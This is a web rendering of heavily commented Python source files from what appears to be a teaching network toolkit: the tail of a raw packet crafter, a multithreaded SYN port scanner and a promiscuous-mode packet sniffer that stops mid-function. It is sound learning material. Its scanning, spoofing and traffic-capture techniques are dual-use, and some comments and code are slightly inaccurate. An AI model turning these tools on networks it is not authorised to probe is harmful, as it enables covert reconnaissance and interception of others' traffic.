            # Block until packet arrives or 3 second timeout fires.
            # We loop because recv_sock captures ALL TCP/UDP traffic —
            # we might grab packets unrelated to our probe first.
            response, addr = recv_sock.recvfrom(65535)

            # RESPONSE FILTERING:
            # Check if this response is actually for our packet.
            # The response's source port should match the port we targeted.
            # response[20:22] = first 2 bytes of TCP header = source port
            resp_src_port = struct.unpack("!H", response[20:22])[0]
            if resp_src_port != params["dst_port"]:
                continue   # not our response, grab next packet

            # ── Parse the response ────────────────────────────
            # Extract useful fields to display to the user.
            # All positions assume no Ethernet header (AF_INET socket).

            # IP header fields
            resp_src_ip  = socket.inet_ntoa(response[12:16])  # bytes 12-15
            resp_dst_ip  = socket.inet_ntoa(response[16:20])  # bytes 16-19
            resp_ttl     = response[8]                         # byte 8

            # TCP header fields
            resp_dst_port = struct.unpack("!H", response[22:24])[0]  # bytes 22-23
            offset_flags  = struct.unpack("!H", response[32:34])[0]  # bytes 32-33
            resp_flags    = offset_flags & 0x3F  # bottom 6 bits = flags

            # Display response summary
            print(f"\n[+] Response received!")
            print(f"    {resp_src_ip}:{resp_src_port}{resp_dst_ip}:{resp_dst_port}")
            print(f"    Flags: {TCPFlags.to_string(resp_flags)}  TTL: {resp_ttl}")
            break   # got our response — exit the while loop

    except socket.timeout:
        # No response in 3 seconds.
        # Possible reasons:
        # - Port is filtered (firewall dropped our packet)
        # - Source IP was spoofed (response went elsewhere)
        # - Target is down
        print(f"[-] No response received (timeout)")

    # ── Clean up ──────────────────────────────────────────────
    # Always close sockets when done — releases OS resources
    send_sock.close()
    recv_sock.close()


# ─────────────────────────────────────────────────────────────
# MAIN LOOP
# ─────────────────────────────────────────────────────────────

def main() -> None:
    """
    Entry point. Runs the packet crafter in a loop.

    WHY A LOOP:
    Unlike the sniffer (runs until Ctrl+C) or port scanner
    (scans a fixed range), the packet crafter is interactive —
    you craft one packet, see the result, then decide whether
    to craft another. The loop supports this workflow naturally.

    DEFAULT TO NO:
    The "send another?" prompt defaults to No (user must type 'y').
    This prevents accidental repeated packet sending — important
    when crafting RST or flood-style packets.
    """

    print("[*] NetProbe Packet Crafter")
    print("[*] Craft and send custom TCP/UDP packets")
    print("[*] Run with sudo — raw sockets require root\n")

    while True:
        # Collect inputs, build and send packet, show response
        params = get_user_input()
        craft_and_send(params)

        # Ask if user wants to send another packet.
        # Default is No — user must explicitly type 'y' to continue.
        again = input("\nSend another packet? [y/N]: ").strip().lower()
        if again != 'y':
            print("[*] Exiting packet crafter.")
            break


# ─────────────────────────────────────────────────────────────
# ENTRY POINT
# ─────────────────────────────────────────────────────────────

if __name__ == '__main__':
    main()
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
"""
tools/port_scanner.py — TCP SYN Port Scanner
=============================================

WHAT THIS FILE DOES:
Scans a target machine to discover which TCP ports are open,
closed, or filtered — exactly like nmap's -sS (SYN scan) mode,
but built from scratch.

HOW IT WORKS:
For each port we want to scan:
  1. Craft a raw TCP SYN packet using our IPHeader and TCPHeader classes
  2. Send it to the target port
  3. Wait for a response
  4. Analyze the response flags:
     SYN|ACK  → port is OPEN   (someone is listening)
     RST      → port is CLOSED (nothing listening, rejected)
     timeout  → port is FILTERED (firewall dropped our packet silently)

WHY IT'S CALLED A "HALF-OPEN" SCAN:
Normal TCP connection = SYN → SYN|ACK → ACK (three steps)
SYN scan            = SYN → SYN|ACK        (two steps, never completes)

We get the information we need (open or closed) without ever
completing the handshake. This is faster and stealthier than
a full connection scan.

WHY THREADING:
Scanning 1024 ports one by one, each waiting 2 seconds for a
response = potentially 2048 seconds (34 minutes) worst case.
With 100 threads running simultaneously, worst case drops to
~20 seconds. Order doesn't matter so parallel execution is safe.

WHY ROOT IS REQUIRED:
Crafting raw packets with custom IP/TCP headers requires root.
The OS won't let normal users bypass the network stack.
Run with: sudo python3 tools/port_scanner.py
"""

import os
import random
import socket
import struct
import sys
import threading

# ─────────────────────────────────────────────────────────────
# PATH SETUP
# ─────────────────────────────────────────────────────────────

# Add project root to Python's module search path.
# Without this, 'from core.ip_header import IPHeader' fails
# because Python only looks in the script's own directory (tools/)
# not the parent directory where core/ lives.
#
# os.path.abspath(__file__)        = full path to this file
# os.path.dirname(...)             = directory containing this file (tools/)
# os.path.dirname(...again...)     = parent directory (netprobe/)
# sys.path.insert(0, ...)          = add netprobe/ to search path
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))

from concurrent.futures import ThreadPoolExecutor
from core.ip_header import IPHeader
from core.tcp_header import TCPFlags, TCPHeader


# ─────────────────────────────────────────────────────────────
# SHARED STATE
# ─────────────────────────────────────────────────────────────

# Shared list where threads store discovered open ports.
# All 100 threads write to this same list.
open_ports = []

# Threading lock to prevent race conditions on open_ports.
#
# WHAT IS A RACE CONDITION?
# -------------------------
# Two threads try to append to the list at the exact same moment.
# Internally, append() is not atomic — it involves multiple CPU
# instructions. If two threads interleave those instructions,
# the list can get corrupted — items lost or duplicated.
#
# A lock (mutex) prevents this by allowing only ONE thread to
# execute the protected block at a time. Other threads wait.
#
# Usage:
#   with lock:
#       open_ports.append(port)   # only one thread here at a time
lock = threading.Lock()


# ─────────────────────────────────────────────────────────────
# CORE SCAN FUNCTION
# ─────────────────────────────────────────────────────────────

def scan_port(target_ip: str, port: int, src_ip: str,
              send_sock: socket.socket, recv_sock: socket.socket) -> None:
    """
    Scan a single TCP port on the target machine.

    This function runs in its own thread — 100 copies of this
    function run simultaneously, each scanning a different port.

    THE SEND SIDE:
    --------------
    We build a complete IP + TCP packet from scratch using the
    classes we built in core/. The packet has:
      - IP header: src/dst IP, protocol=TCP, TTL=64
      - TCP header: random src port, target dst port, SYN flag set

    WHY RANDOM SOURCE PORT?
    -----------------------
    Each scan_port call uses a different random source port
    (50000-65535). This serves two purposes:
      1. Avoids conflicts with the OS's own connections
      2. Helps match responses back to the correct thread
         (the response's dst_port = our random src_port)

    THE RECEIVE SIDE:
    -----------------
    recv_sock is shared across all 100 threads. When a response
    arrives, any thread might grab it. We filter by checking if
    the response's SOURCE PORT matches the port we scanned.

    If it doesn't match, we loop and wait for the next packet.
    The timeout ensures we don't wait forever.

    BYTE POSITIONS IN RESPONSE (AF_INET — no Ethernet header):
    -----------------------------------------------------------
    Bytes 0-19:  IP header
    Bytes 20-39: TCP header
      Bytes 20-21: source port  ← which port replied
      Bytes 22-23: dest port    ← our random source port
      Bytes 32-33: offset+flags ← contains SYN, ACK, RST bits

    Args:
        target_ip  : IP address of the machine being scanned
        port       : Port number to scan (1-1024)
        src_ip     : Our own IP address (for IP header source field)
        send_sock  : Raw socket for sending crafted packets
        recv_sock  : Raw socket for capturing responses
    """

    # ── Build TCP header first ────────────────────────────────
    # TCP must be built before IP because IP's build() needs
    # to know the payload length (= TCP header size = 20 bytes)
    #
    # src_port: random high port to avoid OS conflicts
    # dst_port: the port we're probing
    # flags:    SYN only — we're initiating, not completing
    tcp_obj = TCPHeader(
        src_port=random.randint(50000, 65535),
        dst_port=port
        # flags defaults to TCPFlags.SYN — defined in TCPHeader.__init__
    )
    tcp_header = tcp_obj.build(src_ip, target_ip)

    # ── Build IP header second ────────────────────────────────
    # Now we know tcp_header is 20 bytes, so payload_length=20
    # protocol defaults to PROTO_TCP (6) in IPHeader.__init__
    ip_obj = IPHeader(src_ip, target_ip)
    ip_header = ip_obj.build(payload_length=len(tcp_header))

    # ── Combine into complete raw packet ──────────────────────
    # This is the complete packet that goes on the wire:
    # [IP header 20 bytes][TCP header 20 bytes] = 40 bytes total
    syn_packet = ip_header + tcp_header

    # ── Send the packet ───────────────────────────────────────
    # sendto() requires a destination tuple (ip, port).
    # The port here is 0 — for raw sockets the destination port
    # is embedded in the packet itself (TCP header), not here.
    send_sock.sendto(syn_packet, (target_ip, 0))

    # ── Wait for and process response ─────────────────────────
    try:
        while True:
            # Block here until a packet arrives or timeout fires.
            # recv_sock.settimeout(2) is set in main() —
            # if no packet arrives in 2 seconds, raises socket.timeout
            response, addr = recv_sock.recvfrom(65535)

            # RESPONSE FILTERING:
            # This recv_sock is shared by all 100 threads.
            # The response we just grabbed might be for port 443
            # while we're scanning port 80.
            # We check: does the response's source port match
            # the port we're currently scanning?
            #
            # response[20:22] = first 2 bytes of TCP header = source port
            # struct.unpack("!H", ...) converts 2 bytes to integer
            # [0] extracts the single value from the returned tuple
            resp_src_port = struct.unpack("!H", response[20:22])[0]

            if resp_src_port != port:
                continue   # not our response — loop and grab next packet

            # ── This response is ours — check the flags ───────
            # response[32:34] = bytes 12-13 of TCP header (offset from TCP start)
            # These 2 bytes contain: data_offset(4) + reserved(6) + flags(6)
            # & 0x3F masks out everything except the bottom 6 flag bits
            #
            # 0x3F = 0011 1111 — keeps only the 6 flag bits
            offset_flags = struct.unpack("!H", response[32:34])[0]
            flags = offset_flags & 0x3F

            if flags == 0x12:
                # 0x12 = 0001 0010 = SYN(0x02) | ACK(0x10)
                # Port is OPEN — someone is listening and responded
                # with lock ensures only one thread appends at a time
                with lock:
                    open_ports.append(port)

            elif flags == 0x04:
                # 0x04 = 0000 0100 = RST
                # Port is CLOSED — machine responded but nothing listening
                # We don't store closed ports — just move on
                pass

            # Got our response (open or closed) — exit the while loop
            break

    except socket.timeout:
        # No response within 2 seconds.
        # Port is FILTERED — firewall silently dropped our SYN.
        # We can't tell if the port is open or closed.
        # We don't store filtered ports — just move on silently.
        pass


# ─────────────────────────────────────────────────────────────
# MAIN FUNCTION
# ─────────────────────────────────────────────────────────────

def main() -> None:
    """
    Entry point. Sets up sockets, launches threads, prints results.

    TWO SOCKETS — WHY?
    ------------------
    send_sock (AF_INET, IPPROTO_RAW):
        For sending crafted packets. IPPROTO_RAW tells the OS
        "I'm providing a complete IP header, send these bytes as-is."
        AF_INET means we work at the IP layer.

    recv_sock (AF_INET, IPPROTO_TCP):
        For capturing TCP responses. AF_INET means responses start
        at the IP header (no Ethernet header — simpler byte positions).
        IPPROTO_TCP means only capture TCP packets — filters out
        UDP, ICMP, and other noise automatically.

    We need two separate sockets because:
        send_sock needs IPPROTO_RAW to send with custom headers
        recv_sock needs IPPROTO_TCP to filter only TCP responses
    You can't do both with one socket.

    THREADPOOLEXECUTOR:
    -------------------
    Instead of creating 1024 individual threads (which would
    overwhelm the network), ThreadPoolExecutor maintains a pool
    of exactly max_workers=100 threads.

    executor.submit(scan_port, arg1, arg2, ...) adds a job to
    the queue. When a thread is free it picks up the next job.
    The 'with' block waits for ALL jobs to complete before
    continuing to the print statement.

    WHY src_ip IS FETCHED ONCE HERE:
    ---------------------------------
    socket.gethostbyname(socket.gethostname()) makes a system
    call to resolve your hostname to an IP. Calling this 1024
    times inside scan_port would be wasteful — it's the same
    answer every time. Fetch it once, pass it to every thread.
    """

    # Hardcoded for now — later we'll add argparse like the sniffer
    src_ip = '192.168.192.145'
    target_ip = '192.168.192.20'

    print(f"[*] Starting SYN scan on {target_ip}")
    print(f"[*] Scanning ports 1-1024")
    print(f"[*] Source IP: {src_ip}\n")

    # ── Create sending socket ─────────────────────────────────
    # AF_INET       = IP layer (we handle IP header ourselves)
    # SOCK_RAW      = raw socket, no kernel header processing
    # IPPROTO_RAW   = we provide complete IP header in each packet
    send_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

    # Tell the OS we're including our own IP header.
    # Without this, the OS might add another IP header on top of ours.
    # IP_HDRINCL = "IP Header Included" — we built it ourselves
    send_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # ── Create receiving socket ───────────────────────────────
    # AF_INET        = IP layer (response starts at IP header, no Ethernet)
    # SOCK_RAW       = raw socket, gives us complete packets
    # IPPROTO_TCP    = only capture TCP responses, filter out everything else
    recv_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

    # Set timeout — if no response in 2 seconds, port is filtered.
    # Without this, threads waiting on closed/filtered ports would
    # block forever and the scan would never complete.
    recv_sock.settimeout(2)

    # ── Launch threads ────────────────────────────────────────
    # max_workers=100 means at most 100 ports scanned simultaneously.
    # The 'with' block automatically waits for all jobs to finish
    # before moving to the results printing below.
    with ThreadPoolExecutor(max_workers=100) as executor:
        for i in range(1, 1025):
            # Submit one scan_port job per port.
            # executor manages which thread runs which job.
            executor.submit(scan_port, target_ip, i, src_ip, send_sock, recv_sock)

    # ── Print results ─────────────────────────────────────────
    # We reach here only after ALL 1024 ports have been scanned.
    # sorted() ensures ports print in numerical order regardless
    # of which thread finished first.
    print("\n[*] Scan complete")
    if open_ports:
        print(f"[*] Found {len(open_ports)} open port(s):\n")
        for port in sorted(open_ports):
            print(f"  Port {port}/tcp  open")
    else:
        print("[*] No open ports found (target may be down or all ports filtered)")

    # Clean up — close both sockets properly
    send_sock.close()
    recv_sock.close()


# ─────────────────────────────────────────────────────────────
# ENTRY POINT
# ─────────────────────────────────────────────────────────────

if __name__ == '__main__':
    main()
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
"""
tools/sniffer.py — Raw Packet Sniffer
======================================

WHAT THIS FILE DOES:
Captures every packet passing through a network interface and
decodes it into human readable fields — exactly like Wireshark,
but built from scratch.

HOW IT WORKS AT A HIGH LEVEL:
1. Create a raw socket at the Ethernet layer
2. Put the network card in promiscuous mode (capture ALL traffic)
3. Loop forever receiving raw bytes
4. Parse those bytes using everything we know about IP/TCP/UDP headers
5. Print the results in a readable format
6. Stop cleanly when user presses Ctrl+C

WHY ROOT IS REQUIRED:
Raw sockets and promiscuous mode give you access to ALL network
traffic — including packets not addressed to you. This is a
powerful and potentially dangerous capability so the OS restricts
it to root only. Run with: sudo python3 sniffer.py
"""

import argparse
import socket
import struct


# ─────────────────────────────────────────────────────────────
# SOCKET CREATION
# ─────────────────────────────────────────────────────────────

def create_socket(interface: str) -> socket.socket:
    """
    Creates a raw socket and binds it to a network interface.

    WHAT IS AF_PACKET?
    ------------------
    Remember AF_INET operates at the IP layer — the Ethernet header
    is already stripped before you see the packet.

    AF_PACKET operates one layer lower — at the Ethernet layer.
    You see the COMPLETE raw frame including:
      - Ethernet header (14 bytes): src MAC, dst MAC, ethertype
      - IP header (20 bytes)
      - TCP/UDP header (20/8 bytes)
      - Data

    This is what Wireshark uses. It gives us the most complete
    view of what's actually on the wire.

    WHAT IS SOCK_RAW?
    -----------------
    Tells the OS: don't process this packet, give it to me raw.
    No stripping headers, no checksums, no port routing.
    Just raw bytes exactly as they arrived.

    WHAT IS ntohs(0x0003)?
    ----------------------
    The third argument is the Ethernet protocol filter.
    0x0003 is a special value meaning "capture ALL protocols"
    — IPv4, IPv6, ARP, everything.

    ntohs = Network To Host Short
    Converts the 2-byte value from network byte order (big-endian)
    to your CPU's byte order (little-endian on most systems).
    We do this because we're passing the value directly to the
    socket constructor without going through struct.pack.

    PROMISCUOUS MODE:
    -----------------
    By default your network card silently discards packets not
    addressed to your MAC address. You never see them.

    Promiscuous mode turns off that filter. Your card now accepts
    and passes up EVERY packet it sees on the network segment —
    traffic between other machines, broadcast traffic, everything.

    We enable it by setting a socket option:
      socket.SOL_SOCKET  = socket options level (general socket options)
      socket.SO_PROMISC  = the specific option to toggle promisc mode
      1                  = enable (0 would disable)

    Args:
        interface: Network interface name e.g. "eth0", "wlan0"

    Returns:
        Configured raw socket ready to capture packets
    """

    # Create the raw socket at Ethernet layer
    # AF_PACKET = Ethernet layer (lower than AF_INET which is IP layer)
    # SOCK_RAW  = give us complete raw packets
    # ntohs(0x0003) = capture all protocol types
    sock = socket.socket(
        socket.AF_PACKET,
        socket.SOCK_RAW,
        socket.ntohs(0x0003)
    )

    # Bind to the specific network interface
    # The second argument 0 means "any protocol" — consistent with 0x0003 above
    # Without binding, we'd capture from all interfaces at once
    sock.bind((interface, 0))

    print(f"[*] Sniffer started on interface: {interface}")
    print(f"[*] Press Ctrl+C to stop\n")

    return sock


# ─────────────────────────────────────────────────────────────
# ETHERNET HEADER PARSING
# ─────────────────────────────────────────────────────────────

def parse_ethernet_header(raw_frame: bytes) -> tuple:
    """
    Parse the Ethernet header — the outermost layer of a raw frame.

    ETHERNET HEADER STRUCTURE (14 bytes):
    ----------------------------------------
    | Destination MAC (6 bytes) |
    | Source MAC      (6 bytes) |
    | EtherType       (2 bytes) |
    ----------------------------------------

    WHAT IS A MAC ADDRESS?
    ----------------------
    While IP addresses identify machines logically (and can change),
    MAC addresses identify network hardware physically. Every network
    card in the world has a unique MAC address burned in at manufacture.

    Format: 6 bytes written as aa:bb:cc:dd:ee:ff

    WHAT IS ETHERTYPE?
    ------------------
    Tells us what protocol is inside the Ethernet frame:
      0x0800 = IPv4
      0x0806 = ARP (Address Resolution Protocol)
      0x86DD = IPv6

    We only process 0x0800 (IPv4) in this sniffer.

    STRUCT FORMAT "!6s6sH":
    -----------------------
    ! = big endian (network byte order)
    6s = 6-byte string (destination MAC)
    6s = 6-byte string (source MAC)
    H  = unsigned short 2 bytes (EtherType)

    Args:
        raw_frame: Complete raw Ethernet frame bytes

    Returns:
        Tuple of (dst_mac, src_mac, ethertype, ip_payload)
        ip_payload = everything after the 14-byte Ethernet header
    """

    # Unpack the first 14 bytes as the Ethernet header
    # [0:14] = first 14 bytes
    dst_mac, src_mac, ethertype = struct.unpack("!6s6sH", raw_frame[0:14])

    # Convert the 6 raw MAC bytes to readable "aa:bb:cc:dd:ee:ff" format
    # bytes_to_mac() is defined below
    dst_mac_str = bytes_to_mac(dst_mac)
    src_mac_str = bytes_to_mac(src_mac)

    # Everything after the 14-byte Ethernet header is the payload
    # For IPv4 packets this will be the IP header + TCP/UDP + data
    ip_payload = raw_frame[14:]

    return dst_mac_str, src_mac_str, ethertype, ip_payload


def bytes_to_mac(mac_bytes: bytes) -> str:
    """
    Convert 6 raw bytes into human readable MAC address string.

    Example:
        b'\\xaa\\xbb\\xcc\\xdd\\xee\\xff' → "aa:bb:cc:dd:ee:ff"

    HOW IT WORKS:
    -------------
    mac_bytes is a 6-byte sequence. We iterate over each byte,
    format it as a 2-digit hex string with :02x
      02 = pad with zeros to at least 2 digits
      x  = hexadecimal format
    Then join all 6 with colons.

    Args:
        mac_bytes: 6 bytes representing a MAC address

    Returns:
        Human readable MAC string e.g. "aa:bb:cc:dd:ee:ff"
    """
    # f"{b:02x}" formats each byte as 2-digit hex
    # ":".join() puts colons between them
    return ":".join(f"{b:02x}" for b in mac_bytes)


# ─────────────────────────────────────────────────────────────
# IP HEADER PARSING
# ─────────────────────────────────────────────────────────────

def parse_ip_header(ip_payload: bytes) -> tuple:
    """
    Parse the IPv4 header from raw bytes.

    You built this header from scratch in ip_header.py.
    Now we're doing the exact reverse — taking raw bytes and
    extracting each field back out using struct.unpack.

    STRUCT FORMAT "!BBHHHBBH4s4s":
    --------------------------------
    This is the EXACT same format string from ip_header.py
    but used with unpack instead of pack.

    pack   → Python values  → raw bytes   (sending)
    unpack → raw bytes      → Python values (receiving/parsing)

    IP HEADER BYTE MAP (reminder):
    --------------------------------
    Byte 0:      version(4bits) + IHL(4bits)
    Byte 1:      TOS
    Bytes 2-3:   Total Length
    Bytes 4-5:   Identification
    Bytes 6-7:   Flags + Fragment Offset
    Byte 8:      TTL
    Byte 9:      Protocol
    Bytes 10-11: Checksum
    Bytes 12-15: Source IP
    Bytes 16-19: Destination IP

    Args:
        ip_payload: Raw bytes starting at the IP header

    Returns:
        Dictionary containing all parsed IP header fields
    """

    # Unpack exactly 20 bytes (minimum IP header size)
    # We use [0:20] to take only the header, not the payload after it
    (ver_ihl, tos, total_length, identification,
     flags_frag, ttl, protocol, checksum,
     src_ip_raw, dst_ip_raw) = struct.unpack("!BBHHHBBH4s4s", ip_payload[0:20])

    # Remember version and IHL are packed into one byte
    # version is in the HIGH nibble (top 4 bits) → shift right by 4
    # ihl is in the LOW nibble (bottom 4 bits) → AND with 0x0F to mask top bits
    version = ver_ihl >> 4
    ihl = ver_ihl & 0x0F

    # IHL is in 4-byte words. Multiply by 4 to get actual byte count.
    # Standard header = IHL 5 = 20 bytes
    # If IHL > 5, there are IP options present (rare but possible)
    header_length = ihl * 4

    # flags are in top 3 bits of the 16-bit flags_frag field
    # frag_offset is in the bottom 13 bits
    flags = flags_frag >> 13
    frag_offset = flags_frag & 0x1FFF

    # Convert 4 raw bytes to dotted decimal IP string
    # inet_ntoa is the opposite of inet_aton
    # b'\xc0\xa8\x01\x01' → "192.168.1.1"
    src_ip = socket.inet_ntoa(src_ip_raw)
    dst_ip = socket.inet_ntoa(dst_ip_raw)

    return {
        "version": version,
        "header_length": header_length,  # in bytes
        "tos": tos,
        "total_length": total_length,
        "identification": identification,
        "flags": flags,
        "frag_offset": frag_offset,
        "ttl": ttl,
        "protocol": protocol,
        "checksum": checksum,
        "src_ip": src_ip,
        "dst_ip": dst_ip,
        "header_length_raw": header_length,  # needed to find where TCP/UDP starts
    }


# ─────────────────────────────────────────────────────────────
# TCP HEADER PARSING
# ─────────────────────────────────────────────────────────────

def parse_tcp_header(ip_payload: bytes, ip_header_length: int) -> dict:
    """
    Parse the TCP header from raw bytes.

    WHERE DOES TCP START?
    ---------------------
    The TCP header starts immediately after the IP header.
    ip_header_length tells us how many bytes the IP header was.
    Standard = 20 bytes. With options = more.

    So TCP starts at: ip_payload[ip_header_length]

    TCP HEADER BYTE MAP (reminder):
    -------------------------------
    Bytes 0-1:   Source Port
    Bytes 2-3:   Destination Port
    Bytes 4-7:   Sequence Number (32-bit)
    Bytes 8-11:  Acknowledgment Number (32-bit)
    Bytes 12-13: Data Offset + Reserved + Flags
    Bytes 14-15: Window Size
    Bytes 16-17: Checksum
    Bytes 18-19: Urgent Pointer

    STRUCT FORMAT "!HHIIHHHH":
    -------------------------------
    ! = big endian
    H = unsigned short 2 bytes (ports, offset+flags, window, checksum, urgent)
    I = unsigned int   4 bytes (sequence number, ack number)

    Args:
        ip_payload:       Raw bytes starting at IP header
        ip_header_length: How many bytes the IP header was (usually 20)

    Returns:
        Dictionary containing all parsed TCP header fields
    """

    # TCP starts right after the IP header
    tcp_start = ip_header_length
    tcp_raw = ip_payload[tcp_start:tcp_start + 20]

    (src_port, dst_port, seq, ack_seq,
     offset_flags, window, checksum,
     urgent_ptr) = struct.unpack("!HHIIHHHH", tcp_raw)

    # Data offset is in the top 4 bits of the 16-bit offset_flags field
    # Shift right by 12 to move those 4 bits to the bottom
    data_offset = (offset_flags >> 12) * 4  # multiply by 4 = bytes

    # Flags are in the bottom 6 bits
    # AND with 0x3F (0b00111111) to keep only those 6 bits
    flags_raw = offset_flags & 0x3F

    # Decode individual flags by checking each bit
    # We AND with each flag's bit position to see if it's set
    flags = {
        "FIN": bool(flags_raw & 0x01),  # bit 0
        "SYN": bool(flags_raw & 0x02),  # bit 1
        "RST": bool(flags_raw & 0x04),  # bit 2
        "PSH": bool(flags_raw & 0x08),  # bit 3
        "ACK": bool(flags_raw & 0x10),  # bit 4
        "URG": bool(flags_raw & 0x20),  # bit 5
    }

    # Build a readable flag string like "SYN" or "SYN|ACK"
    # Only include flags that are set (True)
    flag_str = "|".join(name for name, val in flags.items() if val) or "NONE"

    return {
        "src_port": src_port,
        "dst_port": dst_port,
        "seq": seq,
        "ack_seq": ack_seq,
        "data_offset": data_offset,
        "flags": flags,
        "flag_str": flag_str,
        "window": window,
        "checksum": checksum,
        "urgent_ptr": urgent_ptr,
    }


# ─────────────────────────────────────────────────────────────
# UDP HEADER PARSING
# ─────────────────────────────────────────────────────────────

def parse_udp_header(ip_payload: bytes, ip_header_length: int) -> dict:
    """
    Parse the UDP header from raw bytes.

    Much simpler than TCP — only 4 fields, 8 bytes total.

    UDP HEADER BYTE MAP:
    --------------------
    Bytes 0-1: Source Port
    Bytes 2-3: Destination Port
    Bytes 4-5: Length (header + data)
    Bytes 6-7: Checksum

    STRUCT FORMAT "!HHHH":
    ----------------------
    Four 2-byte unsigned shorts. That's it.

    Args:
        ip_payload:       Raw bytes starting at IP header
        ip_header_length: How many bytes the IP header was (usually 20)

    Returns:
        Dictionary containing all parsed UDP header fields
    """

    # UDP starts right after the IP header, same as TCP
    udp_start = ip_header_length
    udp_raw = ip_payload[udp_start:udp_start + 8]

    src_port, dst_port, length, checksum = struct.unpack("!HHHH", udp_raw)

    return {
        "src_port": src_port,
        "dst_port": dst_port,
        "length": length,
        "checksum": checksum,
    }


# ─────────────────────────────────────────────────────────────
# DISPLAY FUNCTIONS
# ─────────────────────────────────────────────────────────────

def display_packet(eth: dict, ip: dict, transport: dict, proto_name: str) -> None:
    """
    Print a clean, readable summary of a captured packet.

    We display the most useful fields for network analysis:
    - Protocol type
    - Source and destination with ports
    - Key IP fields (TTL tells us about the OS, flags tell us about fragmentation)
    - TCP specific fields if applicable (flags, sequence numbers, window)
    """

    print(f"{'─' * 60}")
    print(f"  Protocol : {proto_name}")
    print(f"  Ethernet : {eth['src_mac']}{eth['dst_mac']}")
    print(f"  IP       : {ip['src_ip']}:{transport['src_port']} "
          f"→ {ip['dst_ip']}:{transport['dst_port']}")
    print(f"  TTL      : {ip['ttl']}  |  "
          f"Length: {ip['total_length']} bytes  |  "
          f"Checksum: {ip['checksum']:#06x}")

    # TCP has extra fields worth showing
    if proto_name == "TCP":
        print(f"  Flags    : {transport['flag_str']}")
        print(f"  Seq      : {transport['seq']}  |  "
              f"Ack: {transport['ack_seq']}")
        print(f"  Window   : {transport['window']} bytes")

    # UDP just shows the datagram length
    elif proto_name == "UDP":
        print(f"  UDP Len  : {transport['length']} bytes")


# ─────────────────────────────────────────────────────────────
# CLI FILTERING
# ─────────────────────────────────────────────────────────────

def matches_filter(ip: dict, transport: dict, args) -> bool:
    # If port filter set — check both src and dst port
    if args.port is not None:
        if transport["src_port"] != args.port and \
           transport["dst_port"] != args.port:
            return False

